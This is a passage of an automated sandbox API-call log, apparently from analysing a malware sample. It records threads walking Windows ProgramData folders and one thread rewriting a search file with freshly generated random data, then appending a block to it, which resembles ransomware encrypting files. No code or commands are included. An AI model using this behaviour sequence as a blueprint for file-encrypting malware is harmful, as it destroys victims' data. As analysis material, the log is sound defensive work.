cAlternateFileName="")) returned 1 [0110.350] wcscmp (_String1="Programs", _String2=".") returned 1 [0110.350] wcscmp (_String1="Programs", _String2="..") returned 1 [0110.350] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b869540 [0110.350] wcscpy (in: _Dest=0x1b869540, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu" [0110.350] wcscat (in: _Dest=0x1b869540, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\" [0110.350] wcscat (in: _Dest=0x1b869540, _Source="Programs" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs" [0129.969] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b869540, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd4c [0129.970] FindNextFileW (in: hFindFile=0x1cd9c730, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f57ecb5, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x7f57ecb5, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x7f57ecb5, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x4f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Update.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 1 [0129.970] wcscmp (_String1="Windows Update.lnk", _String2=".") returned 1 [0129.970] wcscmp (_String1="Windows Update.lnk", _String2="..") returned 1 [0129.970] FindNextFileW (in: hFindFile=0x1cd9c730, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f57ecb5, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x7f57ecb5, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x7f57ecb5, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x4f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Update.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 0 [0129.970] FindClose (in: hFindFile=0x1cd9c730 | out: hFindFile=0x1cd9c730) returned 1 [0129.971] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1e470) returned 1 [0129.972] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1db0) returned 1 [0129.972] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ce8e0) returned 1 Thread: id = 1047 os_tid = 0x1704 [0110.352] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1ced9710 [0110.352] wcscpy (in: _Dest=0x1ced9710, _Source="C:\\ProgramData\\Microsoft\\Windows\\Templates" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Templates") returned="C:\\ProgramData\\Microsoft\\Windows\\Templates" [0110.352] wcscat (in: _Dest=0x1ced9710, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Templates\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Templates\\" [0110.352] wcscat (in: _Dest=0x1ced9710, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Templates\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\Templates\\*" [0110.352] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1df90 [0110.353] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Templates\\*", lpFindFileData=0x1ce1df90 | out: lpFindFileData=0x1ce1df90*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9dbcac, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaeea3462, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c670 [0110.354] wcscmp (_String1=".", _String2=".") returned 0 [0110.354] FindNextFileW (in: hFindFile=0x1cd9c670, lpFindFileData=0x1ce1df90 | out: lpFindFileData=0x1ce1df90*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9dbcac, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaeea3462, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0110.354] wcscmp (_String1="..", _String2=".") returned 1 [0110.354] wcscmp (_String1="..", _String2="..") returned 0 [0110.354] FindNextFileW (in: hFindFile=0x1cd9c670, lpFindFileData=0x1ce1df90 | out: lpFindFileData=0x1ce1df90*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9dbcac, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaeea3462, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0110.354] FindClose (in: hFindFile=0x1cd9c670 | out: hFindFile=0x1cd9c670) returned 1 [0110.354] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1df90) returned 1 [0110.354] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9710) returned 1 [0110.354] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ce7c0) returned 1 Thread: id = 1048 os_tid = 0x1708 [0110.357] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4e) returned 0x1b7ce7c0 [0110.357] wcscpy (in: _Dest=0x1b7ce7c0, _Source="C:\\ProgramData\\Microsoft\\Windows\\WER" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\WER") returned="C:\\ProgramData\\Microsoft\\Windows\\WER" [0110.357] wcscat (in: _Dest=0x1b7ce7c0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\WER\\") returned="C:\\ProgramData\\Microsoft\\Windows\\WER\\" [0110.357] wcscat (in: _Dest=0x1b7ce7c0, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\WER\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\WER\\*" [0110.357] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1df90 [0110.357] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\WER\\*", lpFindFileData=0x1ce1df90 | out: lpFindFileData=0x1ce1df90*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfda01e06, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfda01e06, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b7cea00 [0110.357] wcscmp (_String1=".", _String2=".") returned 0 [0110.357] FindNextFileW (in: hFindFile=0x1b7cea00, lpFindFileData=0x1ce1df90 | out: lpFindFileData=0x1ce1df90*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfda01e06, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfda01e06, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0110.357] wcscmp (_String1="..", _String2=".") returned 1 [0110.357] wcscmp (_String1="..", _String2="..") returned 0 [0110.357] FindNextFileW (in: hFindFile=0x1b7cea00, lpFindFileData=0x1ce1df90 | out: lpFindFileData=0x1ce1df90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfda01e06, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0x9a0a5fd1, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportArchive", cAlternateFileName="REPORT~1")) returned 1 [0110.357] wcscmp (_String1="ReportArchive", _String2=".") returned 1 [0110.357] wcscmp (_String1="ReportArchive", _String2="..") returned 1 [0110.357] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x66) returned 0x1ced9710 [0110.358] wcscpy (in: _Dest=0x1ced9710, _Source="C:\\ProgramData\\Microsoft\\Windows\\WER" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\WER") returned="C:\\ProgramData\\Microsoft\\Windows\\WER" [0110.358] wcscat (in: _Dest=0x1ced9710, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\WER\\") returned="C:\\ProgramData\\Microsoft\\Windows\\WER\\" [0110.358] wcscat (in: _Dest=0x1ced9710, _Source="ReportArchive" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportArchive") returned="C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportArchive" [0129.973] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1ced9710, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1594 [0129.974] FindNextFileW (in: hFindFile=0x1b7cea00, lpFindFileData=0x1ce1df90 | out: lpFindFileData=0x1ce1df90*(dwFileAttributes=0x810, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb59300, ftLastAccessTime.dwHighDateTime=0x1d42023, ftLastWriteTime.dwLowDateTime=0x2fb59300, ftLastWriteTime.dwHighDateTime=0x1d42023, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportQueue", cAlternateFileName="REPORT~2")) returned 1 [0129.974] wcscmp (_String1="ReportQueue", _String2=".") returned 1 [0129.974] wcscmp (_String1="ReportQueue", _String2="..") returned 1 [0129.974] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7c1db0 [0129.974] wcscpy (in: _Dest=0x1b7c1db0, _Source="C:\\ProgramData\\Microsoft\\Windows\\WER" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\WER") returned="C:\\ProgramData\\Microsoft\\Windows\\WER" [0129.974] wcscat (in: _Dest=0x1b7c1db0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\WER\\") returned="C:\\ProgramData\\Microsoft\\Windows\\WER\\" [0129.974] wcscat (in: _Dest=0x1b7c1db0, _Source="ReportQueue" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportQueue") returned="C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportQueue" [0129.974] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7c1db0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x660 [0129.976] FindNextFileW (in: hFindFile=0x1b7cea00, lpFindFileData=0x1ce1df90 | out: lpFindFileData=0x1ce1df90*(dwFileAttributes=0x810, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb59300, ftLastAccessTime.dwHighDateTime=0x1d42023, ftLastWriteTime.dwLowDateTime=0x2fb59300, ftLastWriteTime.dwHighDateTime=0x1d42023, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportQueue", cAlternateFileName="REPORT~2")) returned 0 [0129.976] FindClose (in: hFindFile=0x1b7cea00 | out: hFindFile=0x1b7cea00) returned 1 [0129.976] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1df90) returned 1 [0129.977] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ce7c0) returned 1 [0129.977] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ceb20) returned 1 Thread: id = 1049 os_tid = 0x170c [0110.359] GetFileAttributesW (lpFileName="C:\\Users\\Default\\Searches\\Everywhere.search-ms" (normalized: "c:\\users\\default\\searches\\everywhere.search-ms")) returned 0x23 [0110.360] SetFileAttributesW (lpFileName="C:\\Users\\Default\\Searches\\Everywhere.search-ms", dwFileAttributes=0x20) returned 1 [0110.361] CreateFileW (lpFileName="C:\\Users\\Default\\Searches\\Everywhere.search-ms" (normalized: "c:\\users\\default\\searches\\everywhere.search-ms"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe30 [0110.361] GetFileSizeEx (in: hFile=0xe30, lpFileSize=0x32f4fc00 | out: lpFileSize=0x32f4fc00*=248) returned 1 [0110.361] SetFilePointerEx (in: hFile=0xe30, liDistanceToMove=0xf4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.361] ReadFile (in: hFile=0xe30, lpBuffer=0x32f4fb80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x32f4fbc8, lpOverlapped=0x0 | out: lpBuffer=0x32f4fb80*, lpNumberOfBytesRead=0x32f4fbc8*=0x4, lpOverlapped=0x0) returned 1 [0110.362] SetFilePointerEx (in: hFile=0xe30, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.362] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7a30 [0110.362] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7940 [0110.362] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7760 [0110.362] NtQuerySystemTime (in: CurrentTime=0x32f4fac0 | out: CurrentTime=0x32f4fac0*=132462177158374000) returned 0x0 [0110.362] RtlRandomEx (in: Seed=0x32f4fab0 | out: Seed=0x32f4fab0) returned 0x2fb11b9b [0110.362] RtlRandomEx (in: Seed=0x32f4fab0 | out: Seed=0x32f4fab0) returned 0x63da0f79 [0110.362] RtlRandomEx (in: Seed=0x32f4fab0 | out: Seed=0x32f4fab0) returned 0x537d679a [0110.362] RtlRandomEx (in: Seed=0x32f4fab0 | out: Seed=0x32f4fab0) returned 0xba6f029 [0110.362] RtlRandomEx (in: Seed=0x32f4fab0 | out: Seed=0x32f4fab0) returned 0x6e7b3f6b [0110.362] RtlRandomEx (in: Seed=0x32f4fab0 | out: Seed=0x32f4fab0) returned 0x4dd2c4d1 [0110.362] RtlRandomEx (in: Seed=0x32f4fab0 | out: Seed=0x32f4fab0) returned 0x7ec11d44 [0110.362] RtlRandomEx (in: Seed=0x32f4fab0 | out: Seed=0x32f4fab0) returned 0x3921a98e [0110.363] RtlRandomEx (in: Seed=0x32f4fab0 | out: Seed=0x32f4fab0) returned 0x1c0bdd79 [0110.363] RtlRandomEx (in: Seed=0x32f4fab0 | out: Seed=0x32f4fab0) returned 0x1419ffe9 [0110.363] RtlRandomEx (in: Seed=0x32f4fab0 | out: Seed=0x32f4fab0) returned 0x790f61f [0110.363] RtlRandomEx (in: Seed=0x32f4fab0 | out: Seed=0x32f4fab0) returned 0x499b33ae [0110.363] RtlRandomEx (in: Seed=0x32f4fab0 | out: Seed=0x32f4fab0) returned 0x17170476 [0110.363] RtlRandomEx (in: Seed=0x32f4fab0 | out: Seed=0x32f4fab0) returned 0x6430d916 [0110.363] RtlRandomEx (in: Seed=0x32f4fab0 | out: Seed=0x32f4fab0) returned 0x3fe28921 [0110.363] RtlRandomEx (in: Seed=0x32f4fab0 | out: Seed=0x32f4fab0) returned 0x668a44ac [0110.363] RtlRandomEx (in: Seed=0x32f4fab0 | out: Seed=0x32f4fab0) returned 0x5476d3ac [0110.363] RtlRandomEx (in: Seed=0x32f4fab0 | out: Seed=0x32f4fab0) returned 0x325416a1 [0110.363] RtlRandomEx (in: Seed=0x32f4fab0 | out: Seed=0x32f4fab0) returned 0x205228b1 [0110.363] RtlRandomEx (in: Seed=0x32f4fab0 | out: Seed=0x32f4fab0) returned 0x1bfdffd9 [0110.363] RtlRandomEx (in: Seed=0x32f4fab0 | out: Seed=0x32f4fab0) returned 0x3050b203 [0110.363] RtlRandomEx (in: Seed=0x32f4fab0 | out: Seed=0x32f4fab0) returned 0x7f4b6fd [0110.363] RtlRandomEx (in: Seed=0x32f4fab0 | out: Seed=0x32f4fab0) returned 0x10f00601 [0110.363] RtlRandomEx (in: Seed=0x32f4fab0 | out: Seed=0x32f4fab0) returned 0x2ffdc95d [0110.363] RtlRandomEx (in: Seed=0x32f4fab0 | out: Seed=0x32f4fab0) returned 0x5e965b5e [0110.363] RtlRandomEx (in: Seed=0x32f4fab0 | out: Seed=0x32f4fab0) returned 0x156793c1 [0110.363] RtlRandomEx (in: Seed=0x32f4fab0 | out: Seed=0x32f4fab0) returned 0x611fc7c4 [0110.363] RtlRandomEx (in: Seed=0x32f4fab0 | out: Seed=0x32f4fab0) returned 0x71b47b20 [0110.363] RtlRandomEx (in: Seed=0x32f4fab0 | out: Seed=0x32f4fab0) returned 0x65a145c0 [0110.363] RtlRandomEx (in: Seed=0x32f4fab0 | out: Seed=0x32f4fab0) returned 0x7badcad2 [0110.363] RtlRandomEx (in: Seed=0x32f4fab0 | out: Seed=0x32f4fab0) returned 0xfc93804 [0110.363] RtlRandomEx (in: Seed=0x32f4fab0 | out: Seed=0x32f4fab0) returned 0x24a2a001 [0110.373] ReadFile (in: hFile=0xe30, lpBuffer=0x41e75950, nNumberOfBytesToRead=0xf8, lpNumberOfBytesRead=0x32f4fab0, lpOverlapped=0x0 | out: lpBuffer=0x41e75950*, lpNumberOfBytesRead=0x32f4fab0*=0xf8, lpOverlapped=0x0) returned 1 [0110.373] SetFilePointerEx (in: hFile=0xe30, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.374] WriteFile (in: hFile=0xe30, lpBuffer=0x41e578d0*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x32f4fab4, lpOverlapped=0x0 | out: lpBuffer=0x41e578d0*, lpNumberOfBytesWritten=0x32f4fab4*=0xf8, lpOverlapped=0x0) returned 1 [0147.882] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8760 [0147.882] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced71d0 [0147.882] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced71d0) returned 1 [0147.882] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e578d0) returned 1 [0147.882] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e75950) returned 1 [0147.882] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869940) returned 1 [0147.882] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd973a0) returned 1 [0147.882] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1b7aa220 [0147.882] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd973a0 [0147.883] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869940 [0147.883] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced71d0 [0147.883] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced71d0) returned 1 [0147.883] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1b7aa1e0 [0147.883] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced71d0 [0147.883] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8310 [0147.883] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8310) returned 1 [0147.884] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869940) returned 1 [0147.884] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd973a0) returned 1 [0147.884] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x11a) returned 0x18db00 [0147.884] SetFilePointerEx (in: hFile=0xe30, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0147.884] WriteFile (in: hFile=0xe30, lpBuffer=0x18db00*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x32f4fbd0, lpOverlapped=0x0 | out: lpBuffer=0x18db00*, lpNumberOfBytesWritten=0x32f4fbd0*=0x11a, lpOverlapped=0x0) returned 1 [0148.143] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97620 [0148.143] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869ec0 [0148.143] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7700 [0148.143] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7700) returned 1 [0148.143] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x202a7700 [0148.144] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7730 [0148.144] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7760 [0148.144] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7760) returned 1 [0148.144] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869ec0) returned 1 [0148.144] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0148.144] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x51) returned 0x1cd9db50 [0148.144] sprintf (in: _Dest=0x1cd9db50, _Format="%c%c" | out: _Dest="d7") returned 2 [0148.145] sprintf (in: _Dest=0x1cd9db52, _Format="%c%c" | out: _Dest="21") returned 2 [0148.145] sprintf (in: _Dest=0x1cd9db54, _Format="%c%c" | out: _Dest="27") returned 2 [0148.145] sprintf (in: _Dest=0x1cd9db56, _Format="%c%c" | out: _Dest="b8") returned 2 [0148.145] sprintf (in: _Dest=0x1cd9db58, _Format="%c%c" | out: _Dest="24") returned 2 [0148.145] sprintf (in: _Dest=0x1cd9db5a, _Format="%c%c" | out: _Dest="54") returned 2 [0148.145] sprintf (in: _Dest=0x1cd9db5c, _Format="%c%c" | out: _Dest="b5") returned 2 [0148.145] sprintf (in: _Dest=0x1cd9db5e, _Format="%c%c" | out: _Dest="47") returned 2 [0148.145] sprintf (in: _Dest=0x1cd9db60, _Format="%c%c" | out: _Dest="ea") returned 2 [0148.145] sprintf (in: _Dest=0x1cd9db62, _Format="%c%c" | out: _Dest="6d") returned 2 [0148.145] sprintf (in: _Dest=0x1cd9db64, _Format="%c%c" | out: _Dest="fc") returned 2 [0148.145] sprintf (in: _Dest=0x1cd9db66, _Format="%c%c" | out: _Dest="26") returned 2 [0148.145] sprintf (in: _Dest=0x1cd9db68, _Format="%c%c" | out: _Dest="dd") returned 2 [0148.145] sprintf (in: _Dest=0x1cd9db6a, _Format="%c%c" | out: _Dest="3b") returned 2 [0148.145] sprintf (in: _Dest=0x1cd9db6c, _Format="%c%c" | out: _Dest="6d") returned 2 [0148.145] sprintf (in: _Dest=0x1cd9db6e, _Format="%c%c" | out: _Dest="fd") returned 2 [0148.145] sprintf (in: _Dest=0x1cd9db70, _Format="%c%c" | out: _Dest="ae") returned 2 [0148.145] sprintf (in: _Dest=0x1cd9db72, _Format="%c%c" | out: _Dest="d7") returned 2 [0148.145] sprintf (in: _Dest=0x1cd9db74, _Format="%c%c" | out: _Dest="b0") returned 2 [0148.145] sprintf (in: _Dest=0x1cd9db76, _Format="%c%c" | out: _Dest="d4") returned 2 [0148.145] sprintf (in: _Dest=0x1cd9db78, _Format="%c%c" | out: _Dest="2b") returned 2 [0148.145] sprintf (in: _Dest=0x1cd9db7a, _Format="%c%c" | out: _Dest="e6") returned 2 [0148.145] sprintf (in: _Dest=0x1cd9db7c, _Format="%c%c" | out: _Dest="4a") returned 2 [0148.145] sprintf (in: _Dest=0x1cd9db7e, _Format="%c%c" | out: _Dest="fd") returned 2 [0148.145] sprintf (in: _Dest=0x1cd9db80, _Format="%c%c" | out: _Dest="9d") returned 2 [0148.145] sprintf (in: _Dest=0x1cd9db82, _Format="%c%c" | out: _Dest="30") returned 2 [0148.145] sprintf (in: _Dest=0x1cd9db84, _Format="%c%c" | out: _Dest="e5") returned 2 [0148.145] sprintf (in: _Dest=0x1cd9db86, _Format="%c%c" | out: _Dest="31") returned 2 [0148.145] sprintf (in: _Dest=0x1cd9db88, _Format="%c%c" | out: _Dest="bc") returned 2 [0148.145] sprintf (in: _Dest=0x1cd9db8a, _Format="%c%c" | out: _Dest="fe") returned 2 [0148.145] sprintf (in: _Dest=0x1cd9db8c, _Format="%c%c" | out: _Dest="2f") returned 2 [0148.145] sprintf (in: _Dest=0x1cd9db8e, _Format="%c%c" | out: _Dest="77") returned 2 [0148.145] sprintf (in: _Dest=0x1cd9db90, _Format="%c%c" | out: _Dest="16") returned 2 [0148.145] sprintf (in: _Dest=0x1cd9db92, _Format="%c%c" | out: _Dest="11") returned 2 [0148.146] sprintf (in: _Dest=0x1cd9db94, _Format="%c%c" | out: _Dest="ad") returned 2 [0148.146] sprintf (in: _Dest=0x1cd9db96, _Format="%c%c" | out: _Dest="31") returned 2 [0148.146] sprintf (in: _Dest=0x1cd9db98, _Format="%c%c" | out: _Dest="46") returned 2 [0148.146] sprintf (in: _Dest=0x1cd9db9a, _Format="%c%c" | out: _Dest="76") returned 2 [0148.146] sprintf (in: _Dest=0x1cd9db9c, _Format="%c%c" | out: _Dest="ee") returned 2 [0148.146] sprintf (in: _Dest=0x1cd9db9e, _Format="%c%c" | out: _Dest="cb") returned 2 [0148.146] RtlInitAnsiString (in: DestinationString=0x32f4fc48, SourceString="d72127b82454b547ea6dfc26dd3b6dfdaed7b0d42be64afd9d30e531bcfe2f771611ad314676eecb" | out: DestinationString="d72127b82454b547ea6dfc26dd3b6dfdaed7b0d42be64afd9d30e531bcfe2f771611ad314676eecb") [0148.146] RtlAnsiStringToUnicodeString (in: DestinationString=0x32f4fc18, SourceString="d72127b82454b547ea6dfc26dd3b6dfdaed7b0d42be64afd9d30e531bcfe2f771611ad314676eecb", AllocateDestinationString=1 | out: DestinationString="d72127b82454b547ea6dfc26dd3b6dfdaed7b0d42be64afd9d30e531bcfe2f771611ad314676eecb") returned 0x0 [0148.146] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x202ad080 [0148.146] RtlFreeAnsiString (AnsiString="d") [0148.146] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9db50) returned 1 [0148.146] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7700) returned 1 [0148.147] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7730) returned 1 [0148.147] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x18db00) returned 1 [0148.147] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7aa1e0) returned 1 [0148.147] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced71d0) returned 1 [0148.147] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7aa220) returned 1 [0148.147] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, 